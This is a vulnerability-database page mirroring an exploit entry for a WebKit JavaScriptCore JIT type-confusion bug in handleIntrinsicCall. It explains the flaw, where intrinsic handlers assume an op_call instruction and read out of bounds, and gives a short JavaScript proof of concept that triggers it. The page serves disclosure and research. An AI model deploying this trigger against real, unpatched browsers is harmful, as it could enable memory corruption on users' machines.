Lucene search
K

WebKit JSC JIT - ByteCodeParser::handleIntrinsicCall Type Confusion Exploit

🗓️ 29 Nov 2018 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 41 Views

Type Confusion Exploit in WebKit JSC JIT ByteCodeParse

Related
Code
WebKit JIT - ByteCodeParser::handleIntrinsicCall Type Confusion Exploit

/*
    case ArrayPushIntrinsic: {
        ...
 
        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;
 
        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
         
        ...
    }
 
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
 
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
 
PoC:
*/
 
Array.prototype.__defineGetter__('a', Array.prototype.push);
 
function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}
 
for (let i = 0; i < 1000; i++) {
    opt();
}

#  0day.today [2021-09-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Nov 2018 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 26.8
CVSS 38.8
EPSS0.18667
41